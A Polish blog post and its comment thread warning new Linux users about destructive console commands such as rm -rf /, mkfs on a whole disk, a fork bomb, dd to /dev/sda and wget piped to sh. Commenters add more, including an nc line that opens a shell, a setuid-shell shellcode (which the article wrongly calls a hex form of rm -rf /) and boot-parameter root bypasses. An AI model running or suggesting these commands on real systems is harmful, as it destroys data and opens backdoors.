Linux – komendy, które uszkodzą twój komputer

Jeżeli jesteś nowym użytkownikiem Linuksa szansa, że spotkasz złośliwą osobę proponującą ci fajne triki w konsoli, które uszkodzą twój system są naprawdę spore. Niestety nawet w otwartym i z zasady pozytywnym światku Open Source zdarzają się czarne owce…

Poniżej krótka lista 7 komend, których powinieneś unikać.

1. Kod:

rm -rf /

Ta komenda skasuje wszystkie pliki w katalogu roota / (rekursywnie i siłowo)

2. Kod:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

A to szesnastkowa versja komendy nr 1 [rm -rf /], która może zaskoczyć nawet doświadczonego konsolowca…

3. Kod:

mkfs.ext3 /dev/sda

To polecenie ponownie sformatuje lub wymaże wszystkie pliki z woluminu wymienionego po komendzie mkfs.

4. Kod:

:(){:|:&};:

To polecenie nakaże twojemu systemowi wykonanie olbrzymiej ilości procesów aż do zawieszenia. może też doprowadzić do

uszkodzenia danych.

5. Kod:

any_command > /dev/sda

Surowe dane zostaną zapisane do wskazanego urządzenia (tu: sda), co doprowadzi do uszkodzenia systemu plików i utraty danych.

6. Kod:

wget http://some_untrusted_source -O- | sh

Nigdy nie ściągaj z niepewnych źródeł i nie wykonuj kodu, który może być złośliwy.

7. Kod:

mv /home/yourhomedirectory/* /dev/null

Ta komenda przeniesie wszystkie dane z katalogu domowego do miejsca, które nie istnieje. Więc pliki wpadają w czarną dziurę:(

To tylko garstka poleceń, która ma raczej zadanie uczulić i przestrzec przed bezmyślnym wykonywaniem poleceń internetowych “guru”.

żadnych reklam, sama wiedza.

Zarejestruj się na BEZPŁATNY NEWSLETTER i raz w tygodniu otrzymuj najważniejsze wiadmości
ze świata IT, nowych technologii i kryptowalut.

Bez reklam.

  1. Awatar PiotrekS
    PiotrekS

    No tak, tylko że prawie wszystkie polecenia powyżej wymagają uprawnień roota.

    1. Awatar xeros
      xeros

      Skoro jesteś taki pewien jak się zachowa 'rm' przy wykonaniu z '-rf /' z konta użytkownika to sam sprawdź – będzie usuwał z systemu wszystko, do czego użytkownik ma uprawnienia – czyli najczęściej całe $HOME użytkownika, jak i podmontowane partycje windowsowe z [/media|/mnt] – jeśli ktoś takie posiada.

      1. Awatar xahil
        xahil

        W najnowszych wersjach coreutils "rm -rf /" nie zadziala, dodali zabezpieczenie 😉

        <code>
        # rm -rf /
        rm: cannot remove root directory `/'
        </code>

        1. Awatar D3X
          D3X

          I dlatego ludzie podają `rm -rf /*` 🙂

        2. Awatar trasz
          trasz

          @D3X: Ale to juz musisz zrobic celowo. A uniemozliwienie usuniecia "/" ma na celu zabezpieczenie przed literowka w postaci dodatkowej spacji.

        3. Awatar bednar
          bednar

          racja, mój kumpel tak zrobił przez przypadek (wcisnął spację z pośpiechu) i poszło… przerwał co prawda po kilku sekundach a potem przez parę dni łatał to co zostało z systemu 🙂

        4. Awatar ja
          ja

          Nie mial backupow?

        5. Awatar mik
          mik

          ja nie wiem, ale bym system przeinstalował raczej, niż babrałbym się w brakach

    2. Awatar likemandrake
      likemandrake

      Bardziej bym przestrzegł zwykłego użytkownika, aby nieedytował pliku /etc/passwd, gdyż dodanie pewnego znaku na początku linijki, powoduje, że do danego usera, którego edytowana linijka dotyczy można logować się bez podawania hasła :]

      Druga przestroga to nie dopuszczać do swojego kompa niezaufanego gostka. Wystarczy, że w GRUBie (podczas wybierania OS z menu) zamienimy pewną wartość na inną (kwestia jednego znaku) oraz dodamy pewną opcję, a nasz system automatycznie uruchomi się bez logowania na uprawnieniach roota i będzie można szarżować do woli, czyli nawet zmieniać hasła bez znania oryginalnych haseł.

      Pozdrawiam

      1. Awatar likemandrake
        likemandrake

        Rozumiem, że nie mam racji, zgadza się?

        1. Awatar http://stilgar.openi
          http://stilgar.openi

          nie masz – na moim Gentoo przy wchodzeniu w single pyta o haslo roota 🙂

        2. Awatar likemandrake
          likemandrake

          Problem w tym, że ja nie piszę o trybie "single mode", więc musisz poszukać kolejnych kontrargumentów na udowodnienie mojej "nieracji" 😉

        3. Awatar gotar
          gotar

          Pewne argumenty są – zmieniając wartość pewnej rzeczy na pewną inną, robi się coś pewnie innego.

        4. Awatar likemandrake
          likemandrake

          Efektem tych zmian, które są naprawdę minimalne – jest pełnoprawny dostęp do systemu, bez żadnych ograniczeń. O tym napisałem już kilka komentarzy niżej.

          Zaznaczam:

          Druga przestroga to nie dopuszczać do swojego kompa niezaufanego gostka.

        5. Awatar gotar
          gotar

          Fajnie, że nam tu opowiadasz jakieś historyjki, ale dopóki poruszamy się po polu 'pewnych zmian efektem jest', to możesz sobie wiesz gdzie wsadzić taką dyskusję, równie dobrze możesz w ogóle nic nie pisać.

        6. Awatar likemandrake
          likemandrake

          Pod jabłonią czeka jabłko…

      2. Awatar Ło$
        Ło$

        ..jeśli chodzi Ci o tzw. tryb single to informuję, że ostatnio się zdziwiłem usiłując włamać się do własnego debiana. Bez podmiany inita się nie obeszło :]

        1. Awatar tarabaz
          tarabaz

          bo zdrowa rzecza jest haslo na gruba 🙂
          ja np mam ustawiony autologin na swojego usera w gdm, ale haslo na gruba – o wiele bezpieczniejsze, mniej upierdliwe, szybciej system startuje – polecam 🙂
          Poza tym, to jest nieudolna próba naśladownictwa Unix Hater's Book.
          Nie lepiej byłoby przetlumaczyc…

        2. Awatar likemandrake
          likemandrake

          @Ło$

          Wiem, że kiedyś przez tryb "single user mode" można było wałków narobić, jednak nie chodziło mi o to (gdyż wiem, że w nowych distro to już nie przejdzie).

          @tarabaz

          To Ci nie pomoże czy masz hasło na GRUBa, czy go nie masz, ponieważ Linuksa można wystartować na wiele sposobów i wcale nie musi to być Boot Loader na dysku twardym.

        3. Awatar bies
          bies

          Zdrowa rzecz to szyfrowany home. Wszelkie ,,hasła na …'' są OKDR.

        4. Awatar likemandrake
          likemandrake

          @Ło$

          Co miałeś na myśli pisząc o podmianie inita? W gruncie rzeczy chodzi mi właśnie o szkudzeniu na tym poziomie, tylko chcę się dowiedzieć, czy o tym samym myślimy.

        5. Awatar bies
          bies

          Pewnie parametr jądra init=/bin/sh np. I masz już dostęp do shella bez uruchamiania /sbin/init. Bo można i binarkę podmienić… Tylko po co. Patrz: man init.

        6. Awatar likemandrake
          likemandrake

          Dokładnie o to mi chodziło, tj. o podanie jądru kernela parametru init wskazującego na powłokę. Wtedy zamiast procesu init uruchamia nam się powłoka bez jakich kolwiek ograniczeń ze strony uprawnień – mamy dostęp do każdego katalogu na dysku (w trybie zapisu).

          Co do zmiany pewnego znaku na inny, czasem trzeba zamienić parametr ro na rw – widziałem tylko, że dla Debiana tak się robiło.

          Nie wiem jak działa w/w szyfrowanie, ale wiem, że bez niego to nie ma chyba żadnej ochrony przed pełnoprawnym dostępem do systemu.

          Nie jest to napewno bezpieczne, chyba się zgodzicie?

          Czy Gentoo, czy OpenSuSE, czy inne, ta metoda działa – niestety…

          PS: Sprawdzałem tą metodę również na Sabayon Linux (który bazuje na Gentoo) i tam dodatkowo trzeba wyłączyć ładowanie obrazu initrd, ponieważ to właśnie polecenia zawarte w tym obrazie ładują proces init.

        7. Awatar y0g1
          y0g1

          To wymaga fizycznego dostepu do komputera.
          Jesli ktos na to zezwala powinien dodatkowo zabezpieczyc sie przed modyfikacja parametrow
          kernela. W lilo uzyskuje sie to dodajac password=""
          w grubie pewnie tez sie da.
          Inny problem to mozliwosc obejscia tego stosujac
          uruchamianie komputera z plyty cd i odblokowanie
          jakichkolwiek zabezpieczen przez chroot.
          Pewnie dlatego nikt domyslnie tak nie zabezpiecza systemu – bo to nie ma sensu.
          Przy dostepie fizycznym do komputera trzeba by zastosowac naprawde paranoidalne zabezpieczenia
          (z szyfrowaniem systemu plikow wlacznie)

        8. Awatar likemandrake
          likemandrake

          @y0g1

          To wymaga fizycznego dostepu do komputera.

          Przecież pisałem wyraźnie, że chodzi właśnie o fizyczny dostęp:

          @likemandrake

          Druga przestroga to nie dopuszczać do swojego kompa niezaufanego gostka.

          Napisałem o tej technice, ponieważ:

          Jeżeli jesteś nowym użytkownikiem Linuksa szansa, że spotkasz złośliwą osobę […] są naprawdę spore.

          A skoro jest się nowym użytkownikiem, jest duże prawdopodobieństwo, że z powodu jakichś problemów, taka osoba być może skorzysta z bezpośredniej pomocy osób trzecich.

          Cały czas do tego nawiązuję…

        9. Awatar viroos
          viroos

          @likemandrake
          Jak zapraszasz kogoś do domu/firmy, żeby Ci pomógł to prawdopodobnie zalogujesz się dla niego z roota ewentualnie utworzysz konto.

          Więc tu chyba jest mowa o innej sytuacji.

        10. Awatar likemandrake
          likemandrake

          Pewnie masz rację 🙂 Grunt to wiedza OCB.

        11. Awatar Sławek
          Sławek

          @likemandrake: To jak chcesz stworzyć całkowicie bezpieczny system(PRZED ATAKAMI OSÓB DOPUSZCZONYCH DO KOMPUTERA) bez użycia szyfrowania?

        12. Awatar likemandrake
          likemandrake

          Nie ma czegoś takiego jak całkowicie bezpieczny system. Im więcej zdajemy sobie sprawy z zagrożeń jakie czyhają na nas (a konkretnie na kompa i jego OS), tym lepiej potrafimy się przed nimi bronić. Ot cała filozofia.

          Szyfrowanie napewno zwiększa bezpieczeństwo danych na dysku twardym przed niepowołanym dostępem, ale napewno nie jest to metoda jak każda inna w 100% skuteczna. (Ameryki nie odkryłem)

          Nie chcę pisać bezpośrednio jak można komuś popsuć kompa, a i tak bardzo wielu technik po prostu nie znam. Te moje głupie domniemania, które można czytać wyżej są efektem zachowania pewnej granicy.

          Starałem się po prostu przestrzec przed pewnego rodzaju niebezpieczeństwem, ale i tak każdy zintepretuje to na swój sposób. Mam tylko nadzieję, że wiedza zdobyta z newsa i wszyskich zgromadzonych tu komentarzy zostanie odebrana przez wielu użytkowników jako dobra lekcja nt. bezpieczeństwa. Znajdą się napewno tacy, którzy będą chcieli wypróbować tą więdzę, aby komuś naszkudzić.

          Może jestem zbyt drobiazgowy?

      3. Awatar ja
        ja

        Do gruba (i do BIOSu) ustawia sie haslo. Jak ktos nie ma, to jest po prostu samemu sobie winnym frajerem.

  2. Awatar ravbc
    ravbc

    Strasznie wydziwione te komendy. To raz. Dwa, to żadna z nich nie uszkodzi komputera, a w najgorszym razie system, a na to są backupy 😉 Trzy, to większośc z tych cudów, żeby wykonała cokolwiek groźnego wymaga uprawnień roota. Cztery: wykonywanie jakichkolwiek poleceń, bez sprawdzenia co robią jest zwykłą głupotą i "zasługuje na karę" 😉
    Krótko mówiąc: naciągany ten njus 😉

    1. Awatar ja
      ja

      prawdziwi twardziele nie robią backupów 😉

  3. Awatar Ajnsztajn
    Ajnsztajn

    Hmm… Nie podoba mi się artykuł. Nawet sam tytuł. Te komendy nie uszkodzą komputera – co najwyżej system. O ile ktoś je odpali na koncie roota :P.

  4. Awatar huk
    huk

    Tak, tylko polowa z tych 'trikow' wymaga uruchomienia z uprawnieniami roota ;]

  5. Awatar krzy2
    krzy2

    Przykład (2) to nie polecenie konsoli tylko kawałek programu exploita w C — tzw. shellcode (właściwego exploita brakuje). Doklejone po nim polecenia shella (które jak należy przpuszać ten shellcode miałby wykonać) nie są odpowiednikiem rm -rf /, tylko tworzą suidowy shell w pliku /tmp/.beyond, czyli backdoor.

    Co do niebezpiecznych poleceń, to znacznie bardziej wredne jest:

    rm -rf / tmp

    które wzrokowo wygląda podobnie do rm -rf /tmp.

    Można również wyobrazić sobie taki atak:

    ln -s /target tmp; echo '' > tmp/-rf; cd tmp; rm *

    który jest ekwiwalentem cd /target; rm -rf *. Proszę zauważyć, w jaki sposób do polecenia rm przekazany jest parametr -rf. [W przykładzie jest celowo /target zamiast / żeby jakiś idiota sobie tego wprost nie wkleił do uprzywilejowanego shella.]

    I jeszcze przykład z Unix Hater's Book — literówka w niewinnym poleceniu rm -f *.o:

    rm -f *>o

    1. Awatar mario
      mario

      Najlepsze to ostatnie, … oj można sobie skasować sporo pracy ;-).

      1. Awatar krzy2
        krzy2

        Owszem. Stąd ostrożny sposób posługiwania się poleceniem rm jest taki:

        ls *.o

        enter, patrzymy czy pokażą się te pliki o które chodzi, po czym strzałka w górę i edytujemy polecenie podmieniając ls na rm.

        1. Awatar gotar
          gotar

          Znacznie prościej jest używać porządnego shella i przed każdym takim poleceniem zrobić 'pogldąg' listy plików przez naciśnięcie [tab] lub przeniesienie wprost wszystkich dopełnień do linii poleceń (np. w celu pominięcia plików, dla których chcemy zrobić wyjątek) kombinacją ctrl-x x.

        2. Awatar ja
          ja

          Strzalka w gore jest dla lamerow, lepiej wpisac w kolejnej linii ^ls^rm (jak ktos nie wie, co to robi, to niech sobie sprawdzi. Ja tego czesto uzywam do debugowania petli, typu:

          for k in jakies_pliki; do echo komenda na ${k}; done

          ogladam (echo) inwokacje kolejne komendy, i jesli wyglada ok, to w nastepnej linii daje:

          ^echo^

          co powoduje usuniecie echo i wykonanie petli juz "naprawde".)

    2. Awatar krzy2
      krzy2

      Jeśli chodzi o "szesnastkową wersję rm -rf /", to jest to coś takiego:

      printf "x72x6dx20x2dx72x66x20x42" | sh -f –

      (znowu celowo z błędem!)

    3. Awatar trasz
      trasz

      Warto tez przypomniec, ze przynajmniej niektore systemy – Solaris czy FreeBSD – zabezpieczaja sie przed przypadkowa spacja po slashu.

      [trasz@victim7:~]$ rm -rf / tmp
      rm: "/" may not be removed

  6. Awatar Kozodoj
    Kozodoj

    O ile samo uczulenie na bezmyślne wklejanie komend do konsoli jest OK, o tyle trudno mi uwierzyć, że aż tak często spotyka się osoby tak złośliwie wykorzystujące czyjąś niewiedzę…

    Proponuję zmienić "spore prawdopodobieństwo napotkania" takiej osoby na – powiedzmy – "możliwe skutki bezmyślnego użytkowania konsoli" i już będzie lepiej. 🙂

    1. Awatar etam
      etam

      Kozodoj: jeżeli masz wątpliwości co do złośliwego wykorzystywania niewiedzy użytkowników, to popatrz co się dzieje w świecie Windows.

  7. Awatar odrzut
    odrzut

    Mi się kilka razy w życiu przytrafiło coś takiego:

    <code>gcc program.c -o pr[TAB]ogram.c [ENTER]</code>

    Raz nawet na kolokwium.

    1. Awatar xeros
      xeros

      nie tylko Tobie – stres i zmęczenie potrafi narobić kłopotów

    2. Awatar brzzz
      brzzz

      Fakt denerwująca rzecz :/
      Dlatego zazwyczaj robie to tak:
      <code>gcc PROGRAM.c -o program</code>

      Po za tym warto dodać sobie (odkomentować) do .bashrc roota wpis:
      <code>alias rm='rm -i'
      alias cp='cp -i'
      alias mv='mv -i'</code>

      1. Awatar socrtp
        socrtp

        w sumie styka: gcc program.c
        binarka będzie w program.out

    3. Awatar tholyir
      tholyir

      Oj też mi się nie raz zdarzyło 🙂 na szczęście nie na kolosie i tylko na jakichś prostych programikach 🙂 Aha i jak to dobrze że Vim robi sobie kopie plik~ 😛 😛

    4. Awatar generic
      generic

      Dlatego zawsze warto sobie proste Makefile zrobic .

      1. Awatar follow
        follow

        Po co Makefile? Wystarczy 'make program'

  8. Awatar xeros
    xeros

    Skąd ta krytyka? Co prawda można by artykuł lekko poprawić, ale sam pomysł takiego uświadamiania i przygotowanie listy możliwych do spotkania niebezpiecznych poleceń w konsoli jest IMO bardzo dobry. Mamy coraz więcej początkujących użytkowników Linuksa, a takie artykuły mogą być dla nich pomocne.

  9. Awatar MakG
    MakG

    Artykuł nawet fajny, ale nie powinien on znaleźć się jakilinux?

  10. Awatar Czajnik
    Czajnik

    Uwielbiam fork-bombę podaną w przykładzie 4. Kiedyś widziałem w tym tylko ciąg przypadkowych znaków, a to w sumie takie trywialne 🙂

  11. Awatar Grzegorz
    Grzegorz

    @xeros: Np mnie 🙂 Chociaż akurat ja bym wiedział, że polecenie rm nie rozwiąże np moich problemów z drukarką, podobnie jak mkfs, ale na pewno znajdzie się ktoś, kto chciałby spróbować…

    Co do tego, że polecenia wymagają uprawnienia roota- wystarczy, że ktoś złośliwy napisze po prostu, że trzeba się na to konto zalogować. Ktoś kto się nie zna i tak wykona wszystkie polecenia…

  12. Awatar tadzik_
    tadzik_

    <code>
    tadzik@tadzik ~> touch dupa
    tadzik@tadzik ~> mv dupa /dev/null
    mv: nie udało się przeniesienie między urządzeniami: `dupa' do `/dev/null'; nie udało się usunać pliku docelowego: Brak dostępu
    </code>

    Na /dev/null możemy przekierować strumień danych, np "echo 'Nikt nie usłyszy twojego krzyku' > /dev/null", ale plików tam przenieść chyba nie sposób.

  13. Awatar l30n
    l30n

    Komputerow nie sa dla idiotow. Jesli nie wiemy co dane polecenie robi, to go nie uzywamy i tyle (obojetnie czy jest to Linux, Windows czy cokolwiek innego).

    1. Awatar xeros
      xeros

      Co prawda zawsze można zrobić 'man komenda' lub 'info komenda', ale chyba każdy kiedyś zaczynał od wykonywania poleceń, których nie zna po to aby je poznać i sprawdzić co można za ich pomocą wykonać, więc przydałoby się tutaj trochę tolerancji dla początkujących… W końcu na błędach człowiek się uczy – nie koniecznie na swoich.

    2. Awatar sparrow1
      sparrow1

      Pytanie ilu idiotów WIE, że są idiotami?

      1. Awatar marcin.ciel
        marcin.ciel

        Ja się przyznaję: Jestem debilem i idiotom a taksze analfabetom.
        Fajny poziom :/

      2. Awatar Motho
        Motho

        Odpowiedz jest prosta:
        "Głupi nie wie, że jest głupi, a mądry to wie" :))

    3. Awatar vries
      vries

      Niejednokrotnie, by coś na linuksie zrobić po konsolę sięgnąć trzeba. I nie każdy ma chęci uczyć się komend (coraz częściej się mówi, ze linux jest używania, a nie do uczenia się go). Zwyczajnie przekleja się polecenia z forum. Szansa trafienia na takie coś jest jednak strasznie mała.

  14. Awatar mr_x
    mr_x

    Jeśli komuś nie działa
    <code>rm -rf /</code>
    to takie polecenie na pewno zadziała (nie wpisywać tego w konsoli!!)
    <code>rm -rf /*</code>

    Inne "złośliwe" polecenie, to np. (tego również nie robić, chyba, że ktoś wie co wykonuje)
    <code>dd if=/dev/zero of=/dev/sda</code>

    1. Awatar szogoon
      szogoon

      if=/dev/urandom jest ciekawsze 😉

      1. Awatar tadzik_
        tadzik_

        Ale /dev/zero jest dużo, dużo szybsze. Sprawdź kiedyś cat /dev/zero > /tmp/aleduzyplik. Idzie dużo dużo szybciej niż z urandom ; )

    2. Awatar D3X
      D3X

      Ta… gorzej jak świadomie chcesz to zrobić, tylko pomylą Ci się partycje… Eh… zdarzyło się kiedyś… (przy okazji próby zmuszenia systemu, żeby widział dysk wyczyściłem bratu spory kawałek Windowsa ;P)

  15. Awatar redcrystal
    redcrystal

    ciekawe z chmodem:

    chmod -R 000 / LUB chmod -R a-rwx /

    co skutkuje z brakiem dostępu do plików/katalogów ani plików uruchomionych, dodatkowo nie można wykonać z powrotem do pierwotnych i cały linux nadaje do reinstall.

    1. Awatar tharkang
      tharkang

      1) livecd
      2) montujesz partycję pod /dupa
      3) chmod 755 /dupa
      4) reboot, wyjęcie livecd
      5) …
      6) PROFIT

      1. Awatar LM
        LM

        Ad3) trochę za mało… redcrystal dał -R
        if @3: "-R 755" then
        7) cp /etc/shadow ~/ i parę innych fajnych rzeczy (/dev/[hs]d?)

        Chyba jedyne wyjście to cóś jak dpkg-reconfigure po wszystkich pakietach albo odzysk z backup.

        Czy chmod jest zabezpieczony przed literówką "/ foo" tak jak rm? Wydaje mi się, że kiedyś przekonałem się, że nie jest ^^

    2. Awatar trasz
      trasz

      @redcrystal: Od kiedy? Przeciez roota prawa dostepu (poza 'x' na zwyklych plikach) nie obowiazuja.

      1. Awatar jarek
        jarek

        > @redcrystal: Od kiedy? Przeciez roota prawa dostepu (poza ‘x’ na zwyklych
        > plikach) nie obowiazuja.

        Zdjecie x'a z /lib/ld-linux*, /bin/chmod i reszty w /bin/*
        skutecznie obrzydzi Ci zycie nawet na poziomie roota.

        1. Awatar trasz
          trasz

          @jarek: Owszem. Ale nie zdjecie tych praw z katalogu '/'.

  16. Awatar j
    j

    Czy ktoś się orientuje na czym polega działanie polecenia :(){:|:&};: ?
    A konkretnie: Z jakiego powodu tworzy nieskończoną ilość procesów?

    Nie wiem czy prawidłowo, ale rozumiem to tak:

    : zwraca true w powłoce, NO-OPeration
    {} blok kodu, tutaj definiujemy co ma się wykonwyać w pętli
    () grupa komend, nie wiem w jaki sposób działa
    :|:& towrzymy potok

    Wypróbowałem i polecenie kończy się u mnie błędem: syntax error.

    1. Awatar jedi1
      jedi1

      :(){:|:&};:

      :() – nagłówek funkcji : (można funkcja() )
      {} – blok kodu funkcji
      :|:& – przekieruj wynik : do kolejnego : i odpal to w tle
      ; – separator
      : – odpal ponownie funkcje :

    2. Awatar rad
      rad

      : robi tutaj za nazwę funkcji, znacznie zmniejsza ilość kodu i wygląda bardziej enigmatycznie 😉
      można dla łatwiejszego zrozumienia zapisać to tak:

      dwukropek(){
      dwukropek | dwukropek &
      }
      dwukropek

    3. Awatar piotr
      piotr

      Jest to "fork bomb":
      http://en.wikipedia.org/wiki/Fork_bomb

    4. Awatar piotr
      piotr

      Swoją drogą, czy ktoś używał tego Fork Bomb Defuser?

      1. Awatar generic
        generic

        /etc/security/limits.conf
        nproc

  17. Awatar puppy
    puppy

    mimo wszystko najlepszy jest:
    nc host port -e /bin/bash

    Wystarczy odpowiednio przygotować host 😉

  18. Awatar WadosM
    WadosM

    A ja sobie odpaliłem rm -rf / 😀 – oczywiście, na wirtualnej maszynie 🙂
    Ale nawet bawiąc się na wirtualnej maszynie trzeba uważać. Istnieje możliwość, że po dłuższym używaniu wirtualnej maszyny możemy mieć podpięty pewny katalog hosta, np. za pomocą np. NFS lub sshfs. Wtedy takie beztrosko wydane polecenie rm -rf /* na wirtualnej maszynie może mieć przykre konsekwencje…

  19. Awatar Kamil Porembiński
    Kamil Porembiński

    Rosyjska ruletka -> # [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Still Alive"

  20. Awatar Del
    Del

    Jeżeli chodzi o komendę :(){:|:&};: to na moim Archu nie działa.

    [root@linux ~]# :(){:|:&};:
    -bash: syntax error near unexpected token `{:'
    [root@linux ~]#

    Zawsze lubilem ten system 🙂

    1. Awatar gotar
      gotar

      Ponieważ po klamrze otwierającej brakuje spacji.

      A artykuł roi się od błędów:

      1.

      Ta komenda skasuje wszystkie pliki w katalogu roota /

      widać absolutnie zerowe rozumienie tłumaczonego tekstu – w tym kontekście 'root directory' to jest po prostu katalog główny, a nie roota.
      Pomijając to, co inni pisali – ten kod nie działa już od wieków.

      3.

      To polecenie ponownie sformatuje lub wymaże wszystkie pliki z woluminu wymienionego po komendzie mkfs.

      Oczywiście polecenie tworzy od zera system plików, co nie ma nic wspólnego z formatowaniem ani wymazywaniem plików (w praktyce – jeśli tworzony jest taki sam system plików, jaki był poprzednio, to wszystko na partycji pozostanie nienaruszone i akurat w przypadku ext[23] jest relatywnie łatwe do odzyskania, sam się kiedyś pomyliłem i zrobiłem to zamiast fsck, po 6 dniach miałem odtworzone wszystkie struktury).

      4. wspomniana wyżej literówa, 7 również już inni pisali, że nie działa.

      1. Awatar gotar
        gotar

        NO i zapomniałem napisać, że forkbombie zapobiega się ustawiając limity.

      2. Awatar jarek
        jarek

        > system plików, jaki był poprzednio, to wszystko na partycji pozostanie
        > nienaruszone i akurat w przypadku ext[23] jest relatywnie łatwe do

        Tak chyba jest mke2fs /dev/sda a nie /dev/sda[1-N]…
        To delikatnie zmienia postac rzeczy.

        1. Awatar gotar
          gotar

          Tylko delikatnie – trzeba będzie wcześniej odtworzyć położenie partycji i straci się dane zapisane w miejscu, gdzie zostaną utworzone nowe bitmapy.

  21. Awatar noddeat
    noddeat

    jeszcze zapomniano o poleceniu dd:

    dd if=/dev/zero of=/dev/sda

    szybko i skutecznie niszczy wszystkie partycje na dysku twardym.

    dd if=/dev/zero of=/dev/null

    to polecenie modeluje pracę rządu, sejmu oraz innych organów administracji pulicznej, czyli nic nie robi, ale procesor jest 100% obciążony 🙂

    1. Awatar Moarc
      Moarc

      U mnie nigdy się nic nie działo z /dev/zero->/dev/null ;p

  22. Awatar Kamil Reszczyk
    Kamil Reszczyk

    Nie sądze, aby którekolwiek z tych poleceń powodowało wydostawanie się z komputera kłębów dymu oraz iskier.

  23. Awatar Wizard
    Wizard

    Ten artykuł jest poniżej wszelkiej krytyki.. wykonywałem te polecenia nie raz na różnych maszynach i jakoś wszyskie do tej pory działają. Zmieńcie może domenę na jakieś OSplotki.pl, czy inne OSpudelki.net..

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *